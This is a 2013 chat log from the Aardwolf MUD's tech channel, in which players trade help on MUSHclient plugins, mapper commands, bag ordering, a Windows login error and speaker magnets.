T3/r7/2013-03-26.txt.gz:{chan ch=tech}Tech: Fatal FrostBite jumps high into the air shouting out, "WOOHOO!"
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Fatal FrostBite Tech: figured out my miniwin prob!
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Fatal FrostBite Tech: now I'm sortof a miniwin guru =P
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Tech: Fatal FrostBite flexes his muscles...what a stud!?!
T3/r7/2013-03-26.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Write some documentation and share it :P
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Fatal FrostBite Tech: I modified some code from Nick Gammon's old quest tracker... this was before I knew who bast was =P
T3/r7/2013-03-26.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Heh :P
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Tech: all my miniwins started with Fiendish's stuff, so they adhere to his front/back/hide/etc schemes
T3/r7/2013-03-26.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Ah.
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Tech: soon he'll have a generic miniwin template included, to make that easier
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Fatal FrostBite Tech: LOL, funny you should say that... Fiendish's plugin was my issue :)
T3/r7/2013-03-26.txt.gz:{chan ch=tech}GraySong Gregor Tech: Anyone have any useful scripts for mudding with a light-gun?
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Tech: You raise your eyebrow at GraySong Gregor.
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Fatal FrostBite Tech: would be nice of fendish to release a miniwin template :)
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Tech: nod, board tech, note subject bounty
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Fatal FrostBite Tech: spent a hour trying to get it to work.
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Tech: my plugins can be pretty close to a template, but I didn't include scrolling or copypasta features, so aren't good for log-type stuff, but fine for general displays
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Tech: Fatal FrostBite goes ooOOooOOoo.
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Fatal FrostBite Tech: I might be interested for that price =P
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Tech: someone's already claimed the prize, just finishing up
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Tech: Fatal FrostBite sulks in the corner.  Baby!!
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Fatal FrostBite Tech: way to get my hopes up!
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Tech: and yeah, if I were still at my old job I definitely woulda done it for that price (despite not actually needing TPs :P)
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Tech: Fatal FrostBite smirks at your saying. 
T3/r7/2013-03-26.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: between zmud and mush whats the best
T3/r7/2013-03-26.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: aard mush
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Ferun Tech: the only thing i like about Zmud is the split scroll output. 
T3/r7/2013-03-26.txt.gz:{chan ch=tech}ElFeneri Tech: zmud is not free, is it?
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Ferun Tech: nope
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Nuanse Tech: here, free LEGAL zmud from zuggsoft: http://www.zuggsoft.com/index.php?page=4&action=file&file_id=18
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Karang Tech: is it that old like 3.5 version still?
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Mliaa Tech: Hello, can I ask a question here about aardwolf mushclient?
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Ferun Tech: nope
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Fatal FrostBite Tech: seems like an appropriate place :)
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Fatal FrostBite Tech: What's your question?
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Mliaa Tech: I would like the maps in main screen not to show and just have the room maps in the map window."
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Fatal FrostBite Tech: help automap sounds about right
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Mliaa Tech: thank you
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Tech: Fatal FrostBite tosses Mliaa up in the air, she loves it!
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Mliaa Tech: laughs
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Ferun Tech: if your using aard mush it should autmatically parse the map into a miniwindow
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Mliaa Tech: the map in window does not show the little squares
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Fatal FrostBite Tech: try tags map
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Fatal FrostBite Tech: then type map to see if it worked.
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Mliaa Tech: hmm
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Mliaa Tech: the map in window still shows map of continent of Lesolar
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Mliaa Tech: Mesolar
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Fatal FrostBite Tech: may be a silly question... but are you on the continent?
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Mliaa Tech: Yes
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Mliaa Tech: usually when I go into an area, the window map shows the little squares that I can click on to move to.
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Fatal FrostBite Tech: You have to be in an area :)
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Mliaa Tech: I am in newbie academy now
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Mliaa Tech: It still shows big map
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Fatal FrostBite Tech: you have to explore the room before it shows on your map.
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Mliaa Tech: I did that. Maybe I will log out and back in, maybe I did something
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Tech: Fatal FrostBite nods.
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Fatal FrostBite Tech: shutdown client then reopen, that may fix it.
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Mliaa Tech: Yes, that did fix it.  Thank you.
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Tech: Fatal FrostBite tosses Mliaa up in the air, she loves it!
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Mliaa Tech: laughs
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Dupian Tech: can someone suggest a good 'auto-open' mushclient script for closed doors?
T3/r7/2013-03-26.txt.gz:{chan ch=tech}BlueBeetle Tech: why not use the mapper utility?  cexits
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: 'mapper cexit op w;;w'
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Dupian Tech: will give mapper a go, thanks
T3/r7/2013-03-26.txt.gz:{chan ch=tech}GraySong Gregor Tech: fml, I died and 2.bag needs to become 7.bag of 7, the rest are in correct order
T3/r7/2013-03-26.txt.gz:{chan ch=tech}GraySong Gregor Tech: what is the pattern to sort that
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Typo Qurrm Kallendbor Tech: drop them all, then pick them up in the right order
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Getsuko Tech: You can give items to yourself to re-order them
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Tech: [Deputy] Trurien nods at Getsuko.
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Typo Qurrm Kallendbor Tech: or that. which I did not know.
T3/r7/2013-03-26.txt.gz:{chan ch=tech}GraySong Gregor Tech: yes what is the pattern for giving them to myself
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Getsuko Tech: (You don't have to drop)
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Dfury Tech: or just give 2.bag gregor
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Icecool Tech: why use 6.bag/7.bag/etc when you can use the ID number?
T3/r7/2013-03-26.txt.gz:{chan ch=tech}GraySong Gregor Tech: give 2.bag gregor will send it to the front
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Doink Tech: restring them and use the new keywords, or use the id #s
T3/r7/2013-03-26.txt.gz:{chan ch=tech}GraySong Gregor Tech: I need to send it to the back
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Getsuko Tech: "give blah self"
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Typo Qurrm Kallendbor Tech: you can't send to the back, you have to give all the ones in the front.
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Turie Tech: Or just get use to the order the containers are in.
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Doink Tech: need to give everyone you want on top of it, to yourself.
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Dfury Tech: then give yourself the last bag, the bag before last, and so on
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Typo Qurrm Kallendbor Tech: or stop using x.bag and use the id
T3/r7/2013-03-26.txt.gz:{chan ch=tech}GraySong Gregor Tech: exactly, what is the pattern for that
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Dfury Tech: 7 times
T3/r7/2013-03-26.txt.gz:{chan ch=tech}GraySong Gregor Tech: assuming 2.bag needs to become 7.bag
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Dfury Tech: start with 2.bag (because if you move it 7 times, it wil become the last
T3/r7/2013-03-26.txt.gz:{chan ch=tech}GraySong Gregor Tech: surely I need to finish with that
T3/r7/2013-03-26.txt.gz:{chan ch=tech}GraySong Gregor Tech: Oh wait, that's right
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Dfury Tech: so give 2.bag greg, then do give 6.bag greg 7 times
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Fatal FrostBite Tech: why not add keywords to your bags... silly head :)
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Fatal FrostBite Tech: instead of wasting the time to give yourself bags in a certain order :)
T3/r7/2013-03-26.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Or just repeat drop 3.bag 5 times, drop bag, then get all :P
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Dfury Tech: because it costs tp and because you can still manage it if you give it some thought
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Tech: [Deputy] Trurien nods at Fatal FrostBite.
T3/r7/2013-03-26.txt.gz:{chan ch=tech}GraySong Gregor Tech: Uhm, ok that didn't work dfury
T3/r7/2013-03-26.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Yes, but it's not very expensive. TP is easy to get if you quest regularly.
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Dfury Tech: draw it on a piece of paper, it will make sense better if you try to solve it visually
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Fatal FrostBite Tech: I see a bag ordering plugin in your future =P
T3/r7/2013-03-26.txt.gz:{chan ch=tech}GraySong Gregor Tech: yeah ok, was just wondering if there was some autistic kid about that could just visualise the pattern immediately
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Tech: [Deputy] Trurien snorts derisively at GraySong Gregor.
T3/r7/2013-03-26.txt.gz:{chan ch=tech}GraySong Gregor Tech: well normally this does not happen, it's just that I died and couldn't lift all the bags
T3/r7/2013-03-26.txt.gz:{chan ch=tech}GraySong Gregor Tech: normally it picks them up in the right order
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Fatal FrostBite Tech: don't die :)
T3/r7/2013-03-26.txt.gz:{chan ch=tech}GraySong Gregor Tech: I typed runto vidblain and ended up in christmas vacation
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Fatal FrostBite Tech: Hahaha, how'd that happen???
T3/r7/2013-03-26.txt.gz:{chan ch=tech}GraySong Gregor Tech: little did I know that would be the next half an hour of my life gone trying to solve some bag re-ordering puzzle
T3/r7/2013-03-26.txt.gz:{chan ch=tech}GraySong Gregor Tech: fml
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Tech: [Deputy] Trurien comforts GraySong Gregor.
T3/r7/2013-03-26.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Also, remember not to move out of the room before the Cheryb Sitter can transfer you. Another 25,000 gold lesson :P
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Dfury Tech: ok i got a piece of paper now... what is the order your bags are in?
T3/r7/2013-03-26.txt.gz:{chan ch=tech}GraySong Gregor Tech: I got a piece of paper too, I'm not sure what order they are in yet
T3/r7/2013-03-26.txt.gz:{chan ch=tech}GraySong Gregor Tech: I guess I'll figure it out now, I was hoping for a quick fix, but I'm resigned to my fate now
T3/r7/2013-03-26.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Mm.
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Dfury Tech: you poor thing!
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Dfury Tech: bag reordering script would be quite easy to make using your bag serial #'s
T3/r7/2013-03-26.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Nods, you should probably remember the bag ids in brackets and alias them or something.
T3/r7/2013-03-26.txt.gz:{chan ch=tech}GraySong Gregor Tech: you are right, that didn't occur to me. I guess I will have that for future.
T3/r7/2013-03-26.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Would be a cheap alternative to adding keywords.
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Bast Tech: gregor do you use mushclient with my plugins?
T3/r7/2013-03-26.txt.gz:{chan ch=tech}GraySong Gregor Tech: I'm not sure, which plugin did you write
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Bast Tech: i wrote the entire bastmush suite, so that would be a no
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Dfury Tech: just write a single alias where if you gave yourself a bag and it puts it upfront, you alias wold look something like this give <self> (bag7serial), give <self> (bag6serial), and so on...
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Bast Tech: I have a plugin called eqDB that you can use and add identifiers to equipment without paying tp
T3/r7/2013-03-26.txt.gz:{chan ch=tech}GraySong Gregor Tech: sounds excellent
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Dfury Tech: there you go, bast solved it
T3/r7/2013-03-26.txt.gz:{chan ch=tech}GraySong Gregor Tech: think my bags are sorted now
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Dfury Tech: kindly forward your freed up tps to him, he deserved it
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Bast Tech: when you load eqdb, just type "eqdb help" to show uses
T3/r7/2013-03-26.txt.gz:{chan ch=tech}GraySong Gregor Tech: thanks, I will check it out
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Dfury Tech: but bast, i'm a dinosaur, i use zmud 7.04!
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Bast Tech: wow, you are way behind the curve then
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Asterax Tech: I am creating a simple portal alias to use with WinkleWinke's scripts. If the name of the alias is portal_glam, any idea why "portal_glam take 358019761 859443103" is being placed on the same line and causing this command to not work?
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Hanslanda Tech: based on the info provided there's an incorrect variable reference going on.
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Asterax Tech: 358019761 = glam portal ID,  859443103 = my aard bag ID... not sure what I'm doing wrong
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Hanslanda Tech: most likely the kind centered around you thinking a different piece of information is in said variable
T3/r7/2013-03-26.txt.gz:{chan ch=tech}EdgarStyles Tech: In Mush, how come if I use \\\SetVariable("dual","xx") in the command line it works fine, but if I make an alias for it an send to execute, it will try to send \SetVariable("dual","xx") and fail?
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Getsuko Tech: Hm, not sure
T3/r7/2013-03-26.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: use send to script
T3/r7/2013-03-26.txt.gz:{chan ch=tech}EdgarStyles Tech: compile error, unexpected symbol near \
T3/r7/2013-03-26.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: and  you wont need the \\\
T3/r7/2013-03-26.txt.gz:{chan ch=tech}EdgarStyles Tech: ah
T3/r7/2013-03-26.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: that prefix is so you can use script commands from the command line
T3/r7/2013-03-26.txt.gz:{chan ch=tech}EdgarStyles Tech: there it goes, thanks a lot
T3/r7/2013-03-26.txt.gz:{chan ch=tech}EdgarStyles Tech: gotcha
T3/r7/2013-03-26.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: \ is the escape character, so if you wanted to do it sending to execute you'd need to use 6 backslashes instead of 3
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Scrublord Wolfe Tech: By some odd off-chance, anyone here have a kindle fire they flashed to run Android?
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Fatal FrostBite Tech: i've only seen that one time :) buddy at school did it and said that it destroys battery life.
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Tech: how stable are mapper portal index numbers? i.e. if I "mapper portals" lists index 1,2,3,4 and I "mapper delete portal #2", will "mapper portals" 1,2,3 or will it list 1,3,4?
T3/r7/2013-03-27.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: anyone help please
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Tech: not without a question
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Naiba Tech: hahahha thats quite funny :D
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Leinei Tech: Miss Cleo can help
T3/r7/2013-03-27.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: when i wanted to log on my user account it says i cant log in because theres an error, tried it 3times this morning
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Leinei Tech: What user account?  On Aardwolf?
T3/r7/2013-03-27.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: windows
T3/r7/2013-03-27.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: detail the system cannot find the file specified
T3/r7/2013-03-27.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: it worked perfectly yesterday
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Tech: does it say what file?
T3/r7/2013-03-27.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: doesnt say what file
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Leinei Tech: Is is the only administrator account?
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Tech: see if a different user has trouble logging in as well...if the other user has a problem, then it's systemwide, if not then it's just a profile issue and you can create a new account and copy stuff over
T3/r7/2013-03-27.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: i made a new user and yes...shows same prob
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Tech: the old and the new user have the problem, but the account you used in order to make the new user doesn't have a problem?
T3/r7/2013-03-27.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: well windows logged me into another account, dunt know what this account is
T3/r7/2013-03-27.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: also i cant see any of my files anywhere
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Tech: the files would be in the other user's profile
T3/r7/2013-03-27.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: cant log in there, dont see anything :(
T3/r7/2013-03-27.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: not a single file in sight
T3/r7/2013-03-27.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: well i searched look around, nothing, making a new account doesnt help shows the same...
T3/r7/2013-03-27.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: guess i have to use a windows cd to repair?
T3/r7/2013-03-27.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: ?
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Sonshi Tech: my computers (vista) does this a lot randomly. Both of them. I usually just reboot until it works.
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Sonshi Tech: no idea why.
T3/r7/2013-03-27.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: reboot whole time?
T3/r7/2013-03-27.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: how long it takes?
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Sonshi Tech: sometimes I shut it down, pull the plug, wait a minute, boot it back up, and cross my fingers.
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Redryn Tech: sounds like hard disk starting to suck
T3/r7/2013-03-27.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: ...it logged into a guest account
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Naiba Tech: is there any way to delay a trigger? eg it cant execute more then once in 5 seconds?
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: Wow, I was about to ask that question as well
T3/r7/2013-03-27.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i beleive there is a wait function in the lua files
T3/r7/2013-03-27.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: but from what your asking , combining with a timer may be the way to go
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: I will have to check that out, thank you Remarto
T3/r7/2013-03-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: anybody here use pastbin? i could use some help
T3/r7/2013-03-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: anybody? wil pay for help
T3/r7/2013-03-27.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: ?
T3/r7/2013-03-27.txt.gz:{chan ch=tech}StArLiGhT Tech: ahh the silient channel
T3/r7/2013-03-27.txt.gz:{chan ch=tech}StArLiGhT Tech: dont even know why its here if it isnt much of help to me
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: ask the question or gtfo
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: no-one will answer your roll call if you don't tell us what the problem is
T3/r7/2013-03-27.txt.gz:{chan ch=tech}StArLiGhT Tech: sabertooth did ask a question
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: no he didn't
T3/r7/2013-03-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: i did actualy :)
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: he asked if anyone used pastebin. lots of people do, so what?
T3/r7/2013-03-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: its my first time useing it and i cant get it to paste my file in the big box lol
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: what do you mean? you selected text, copied it and now it won't paste?
T3/r7/2013-03-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: i have it selected copied it but rght click on the box no paste option :)
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: also, you don't paste files into text input field
T3/r7/2013-03-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: ok how do i get a xml document in there then? help wil be great :)
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: that means the clipboard doesn't have any text copied so you're doing something wrong
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: well, you open the file with a text editor, copy the text and paste it there
T3/r7/2013-03-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: let me try sec
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: anyway, kids, lesson learned here - if you want help, just ask the damn question ;)
T3/r7/2013-03-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: seems to have worked now thanks :)
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: valuable lesson learned, text fields do not accept files :P
T3/r7/2013-03-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: another thing how do i get the link to the file i just pasted?...sorry first time :)
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: the url is in the address bar
T3/r7/2013-03-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: lol thanks :)
T3/r7/2013-03-27.txt.gz:{chan ch=tech}IvanHoe Tech: For those using MUSH, when you use mapper purge cexits, does it delete ALL cexits on your database or just the area you're in
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Ayasinda Tech: mapper help exits says ALL custom exits
T3/r7/2013-03-27.txt.gz:{chan ch=tech}IvanHoe Tech: That's what I read too yeah, just annoying cause I made a cexit in a room that I now have no access to =/
T3/r7/2013-03-27.txt.gz:{chan ch=tech}IvanHoe Tech: Can't find a way to delete it unless I'm in the room
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Redryn Tech: why do you care?
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Tepeyollotl Tech: can't click on it?
T3/r7/2013-03-27.txt.gz:{chan ch=tech}IvanHoe Tech: It's the room where the Empyrean guard throws you if you're not wearing a tunic
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Redryn Tech: so why does it matter if there's a cexit there
T3/r7/2013-03-27.txt.gz:{chan ch=tech}IvanHoe Tech: Because, depending on the room I wanna go to in the area, my mapper uses this cexit as the fastest way to get there
T3/r7/2013-03-27.txt.gz:{chan ch=tech}IvanHoe Tech: Like the market part in Empyrean for example
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Redryn Tech: then you should be deleting the link /to/ the room 
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Redryn Tech: not the cexit if you can't get to the room in the first place
T3/r7/2013-03-27.txt.gz:{chan ch=tech}IvanHoe Tech: Is there a helpfile I can read on for that?
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Redryn Tech: mapper help has everything
T3/r7/2013-03-27.txt.gz:{chan ch=tech}IvanHoe Tech: I see a way to purge room, purge cexit from a room but it kind needs me to be in the room
T3/r7/2013-03-27.txt.gz:{chan ch=tech}IvanHoe Tech: kinda*
T3/r7/2013-03-27.txt.gz:{chan ch=tech}HelperMan Hadar Tech: anyone know of a good auto-clicker?
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Ferun Tech: your index finger. 
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: cat on the keyboard!
T3/r7/2013-03-27.txt.gz:{chan ch=tech}BlueBeetle Tech: roboform ? :p
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Aurelia Tech: Whenever I move something in my inventory, I get the message Trigger function "invmon" not found or had a previous error.   ?
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Aurelia Tech: Any thoughts on to how to fix?
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Naiba Tech: how do i change an entire line's color using a trigger? I have "You balblah (+.?)" and i've checked repeat on same line and changed a colour. only the You balblah appears 
T3/r7/2013-03-27.txt.gz:{chan ch=tech}GraySong Gregor Tech: what is the likelihood that a monitor standing on top of a guitar amp will interfere with the amp
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Doink Tech: amp has magnetism maybe?
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Doink Tech: magnets are bad for screens
T3/r7/2013-03-27.txt.gz:{chan ch=tech}GraySong Gregor Tech: I haven't tried it yet, just asing if it's likely
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Doink Tech: i know putting a speaker and screen together is a bad idea
T3/r7/2013-03-27.txt.gz:{chan ch=tech}GraySong Gregor Tech: any reason?
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Doink Tech: the magnent on the speaker will wreck the screen
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Doink Tech: slowly... but surely.
T3/r7/2013-03-27.txt.gz:{chan ch=tech}GraySong Gregor Tech: this monitor has been on top of an amp for 2 years now. I just haven't used this particular amp.
T3/r7/2013-03-27.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: so how do tvs work? :P
T3/r7/2013-03-27.txt.gz:{chan ch=tech}GraySong Gregor Tech: haven't noticed any negative effects, it's a really old monitor though
T3/r7/2013-03-27.txt.gz:{chan ch=tech}GraySong Gregor Tech: amp has a thick case so maybe magnet force cannot reach the screen
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Sonshi Tech: if it's well shielded there's no problem.
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Doink Tech: Might not be so much in an amp anyways.. compared to a speaker.
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Sonshi Tech: if it's not... oh well
T3/r7/2013-03-27.txt.gz:{chan ch=tech}GraySong Gregor Tech: one more question......
T3/r7/2013-03-27.txt.gz:{chan ch=tech}GraySong Gregor Tech: if a loud amp was directly facing a wall, would that have negative effects on the health of the amplifier or cause interference?
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Tech: the amp doesn't have standing magnet, really just electromagnetic while powered...speaker has standing magnet pulling all the time...
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Tech: a loud amp facing a wall?
T3/r7/2013-03-27.txt.gz:{chan ch=tech}GraySong Gregor Tech: yes
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Tech: amps don't really face anywhere
T3/r7/2013-03-27.txt.gz:{chan ch=tech}GraySong Gregor Tech: in terms of physics would that constitute a problem
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Zade Tech: what "hypothetical" physical-substance shields out static magnetic lines of force from a speaker - doubt there are any, other than sufficient distance
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Tech: sorry, are we talking about a speaker-amp (like peavey backstage) or a power unit?
T3/r7/2013-03-27.txt.gz:{chan ch=tech}BlueBeetle Tech: but amps facing walls is how a deaf guy jams   :p
T3/r7/2013-03-27.txt.gz:{chan ch=tech}GraySong Gregor Tech: we are talking about a 50 watt guitar amp, one that faces in a particular direction
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Tech: an amp with a speaker...
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Tech: they're two separate devices in a single box...the amp doesn't face
T3/r7/2013-03-27.txt.gz:{chan ch=tech}Tech: speaker doesn't care where it faces, though
